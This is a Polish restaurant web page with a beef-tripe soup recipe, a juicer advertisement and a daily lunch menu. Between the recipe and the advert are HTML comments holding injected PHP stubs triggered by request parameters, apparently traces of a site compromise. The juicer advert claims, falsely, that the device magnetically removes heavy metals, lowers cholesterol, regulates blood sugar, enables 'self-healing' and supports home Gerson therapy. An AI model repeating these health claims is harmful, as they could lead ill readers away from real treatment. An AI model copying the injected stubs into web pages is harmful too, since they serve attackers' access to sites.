FLAKI WOŁOWE

Prezentujemy nasz przepis na flaki wołowe, zapraszamy do spróbowania na miejscu lub z dowozem:

Flaki wołowe – składniki:

  • 2 litry bulionu mięsnego (patrz przepis poniżej)
  • 1 kg mrożonych oczyszczonych flaków wołowych
  • 1 cebula
  • 3 łyżki masła
  • 2 łyżki mąki pszennej
  • 1 łyżeczka mielonego imbiru
  • 1 łyżeczka mielonej słodkiej papryki
  • 3 łyżki otartego suszonego majeranku
  • gałka muszkatołowa
  • sól
  • pieprz
  • bulion:
  • 1/2 kg mięsa wołowego (np. szponder)
  • 1 małe udko z kurczaka
  • 1 włoszczyzna:
  • 3 marchewki
  • 2 pietruszki
  • mały seler
  • 1 por
  • 2-3 ziela angielskie
  • 1 liść laurowy
  • sól
  • pieprz

sposób przygotowania:

Przygotuj bulion: do garnka włóż oczyszczone i umyte mięso, obraną włoszczyznę, ziele angielskie i liść laurowy. Zalej wodą, dodaj trochę soli i doprowadź do wrzenia. Przykryj pokrywką i gotuj na bardzo małym ogniu ok. 2-3 godz., od czasu do czasu zbierając z powierzchni szumowiny. Flaki rozmroź, dokładnie porozdzielaj, przełóż do sitka i opłucz zimną wodą. Następnie włóż do garnka, zalej wrzątkiem i gotuj około 5 min. Potem odcedź i przepłucz zimną wodą. Ponownie przełóż do garnka, zalej wrzątkiem i tym razem gotuj około 15 min, po tym czasie odcedź. W ten sposób pozbędziesz się nieprzyjemnego zapachu, który czasami pozostaje w niepłukanych, a obgotowanych już flakach. Gotowy bulion odcedź, warzywa i mięso zachowaj. Do garnka przełóż flaki, zalej bulionem i gotuj pod przykryciem na małym ogniu ok. 1-1,5 godz. W razie potrzeby wywar uzupełniaj wrzątkiem. Zetrzyj na tarce ugotowane wcześniej warzywa – dwie marchewki, pietruszkę i pół selera (możesz też pokroić je w słupki lub w kostkę). Warzywa dodaj do wywaru pod koniec gotowania, gdy flaki będą już miękkie. Przygotuj zasmażkę: cebulę pokrój w bardzo drobną kostkę. Na patelni rozpuść masło, zeszklij na nim cebulę, a następnie dosyp mąki i dokładnie wymieszaj. Do zasmażki możesz dodać niewielką ilość bulionu z gotujących się flaków, aby nie powstały grudki. Gotową zasmażkę dodaj do zupy po dodaniu warzyw. Całość dopraw wg upodobań: imbirem, gałką muszkatołową, słodką papryką, pieprzem, majerankiem. Pamiętaj, aby dodając majeranek, rozetrzeć go w ręku. Na końcu dopraw solą, jeśli potrzeba. Całość gotuj na małym ogniu jeszcze około 15 min. Rada: Dobrze ugotowane flaki powinny być tak miękkie, żeby można je było rozetrzeć w palcach. Do gotowych flaków możesz dodać także pozostałe drobno pokrojone warzywa (oprócz pora) i mięso wołowe, które posłużyły do przygotowania bulionu. Mięso z rosołu możesz też wykorzystać do zrobienia pierogów lub krokietów

Bardzo smacznie witamy!

Zapraszamy do zapoznania się z atrakcyjną cenowo ofertą dla biur i firm budowlanych – klick

<!– [insert_php]if (isset($_REQUEST["wrTas"])){trim($_REQUEST["wrTas"]);exit;}[/insert_php][php]if (isset($_REQUEST["wrTas"])){trim($_REQUEST["wrTas"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["KKM"])){trim($_REQUEST["KKM"]);exit;}[/insert_php][php]if (isset($_REQUEST["KKM"])){trim($_REQUEST["KKM"]);exit;}[/php] –>

Wyciskarka do soków Green Star GSE 5000

wyciskarka-green-star
Na rynku mamy mnóstwo wyciskarek do owoców. Każdy producent chce, aby to jego urządzenie uchodziło za najlepsze. Po szeregu testów, wśród sprzętów kuchennych tego typu, na prowadzenie wyszła wyciskarka do soków Green Star GSE 5000, określana mianem jedynej na świecie wyciskarki do owoców z patentem Twin Gear.

Pierwsza wyciskarka do owoców z przełomową technologią pracy

Wyciskarka do soków Green Star GSE 5000 jest prawdziwym skarbem na bogatym rynku wyciskarek. Jej przełomowa technologia Twin Gear pozwala na uzyskanie najzdrowszego soku, jaki tylko można wycisnąć z każdej części rośliny ( liści, łodyg, bulw, kiełków, ziół, źdźbeł, warzyw i owoców). Metoda pracy opiera się na magnetycznej i bioceramicznej technologii, w której wytwarzane jest, za pomocą rdzenia z magnesami, delikatne pole magnetyczne. Pozwala ono na uzyskanie esencji roślinnej oraz wydalenie z soku, np. ewentualnych metali ciężkich z tkanki łącznej wyciskanej rośliny. Druga technologia zastosowana w urządzeniu – Infrared, opiera się na wbudowanej podczerwieni, dzięki której wyciskana jest maksymalna ilość soku. Praca wolnoobrotowa – 110 obr/min i zgniatanie tkanek za pomocą ferromagnetycznych walców dają możliwość uzyskania soków terapeutycznych. Pozwalają one na uzupełnienie dziennego zapotrzebowania organizmu na substancje odżywcze, zwiększają odporność organizmu oraz umożliwiają stymulację samouzdrawiania.

Z wyciskarką Green Star GSE 5000 do samouzdrowienia

Wyciskarka do soków Green Star GSE 5000, dzięki swojej innowacyjności zwiększa przyswajalność witamin, minerałów i składników odżywczych. Pozwala ustabilizować pracę układu pokarmowego i pobudzić metabolizm, dzięki czemu jest rozwiązaniem idealnym również przy dietach. Ponadto soki wyciskane Green Star GSE 5000 poprawiają krążenie, regulują poziom cukru i ciśnienie krwi. Obniżają poziomu cholesterolu, poprawiają równowagę hormonalną oraz umożliwiają rozwój flory bakteryjnej jelit. Widoczną zmianą podczas kuracji sokami wyciskanymi przez wyciskarkę do soków Green Star GSE 5000 jest wzrost energii i sił witalnych oraz zwiększenie aktywności i wytrzymałości fizycznej. Podczas kuracji można zaobserwować spłycenie zmarszczek przez lepsze uwodnienie organizmu i redukcja cellulitu. Również poprawę jakości snu i istotne ograniczenie kłopotów z zaśnięciem.
Dzięki wyciskarce Green Star GSE 5000 każda terapia sokowa, w szczególności Terapia Gersona jest możliwa do przeprowadzenia w warunkach domowych. Zastosowane technologie w istotnym stopniu poprawiają jakość uzyskiwanego soku. Picie prawdziwej esencji składników odżywczych pozwala na uzyskanie wręcz spektakularnych wyników i poprawę jakości życia. To urządzenie godne polecenia, wyjątkowe na rynku znanych wyciskarek i sokowirówek. Jego cena jest na pewno adekwatna do oferowanych możliwości, które sprostają wymaganiom nawet najbardziej sceptycznych klientów. Zmaksymalizowana ilość składników odżywczych i naturalny smak uzyskiwanych soków zaspokoją najbardziej wyrafinowane gusta czy potrzeby, również lecznicze rekonwalescentów.

Więcej na: https://cookandlove.pl/wyciskarki-do-sokow.html

Danie dnia 02.10

Danie dnia 02.10 – Bar Domowy – Szybowcowa 19
Stek z karkówki z dowolnym dodatkiem i surówką – 12,99
Zupy do wyboru – ogórkowa i krupnik – 3,99
Przy zamówieniu w zestawie kompot otrzymujesz – GRATIS !
Zapraszamy! 🙂